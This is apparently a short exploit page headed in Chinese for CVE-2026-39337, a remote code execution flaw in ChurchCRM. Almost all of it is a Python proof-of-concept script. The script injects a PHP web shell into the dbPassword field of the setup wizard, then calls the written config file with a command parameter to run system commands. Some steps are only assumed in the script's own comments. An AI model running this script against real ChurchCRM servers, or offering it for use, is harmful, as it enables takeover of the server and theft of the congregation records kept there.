CVE-2026-39337 ChurchCRM远程代码执行漏洞

import requests # Target URL of the ChurchCRM setup wizard target_url = "http://target-ip/churchcrm/setup.php" # Malicious PHP payload to inject into dbPassword # This payload executes system commands passed via the 'cmd' GET parameter php_payload = "<?php system($_GET['cmd']); ?>" # Prepare the data payload for the setup wizard request # The vulnerability lies in the 'dbPassword' field not being sanitized payload_data = { "dbHost": "localhost", "dbUser": "root", "dbPassword": php_payload, # Injection point "dbName": "churchcrm", "step": "3" # Assuming step 3 processes the database config } try: print("[*] Sending payload to setup wizard...") response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully!") print("[+] The PHP code may have been written to the configuration file.") print("[+] Attempting to trigger the payload...") # Example trigger URL (depends on where the config is included) trigger_url = "http://target-ip/churchcrm/include/Config.php?cmd=whoami" trigger_resp = requests.get(trigger_url) print(trigger_resp.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")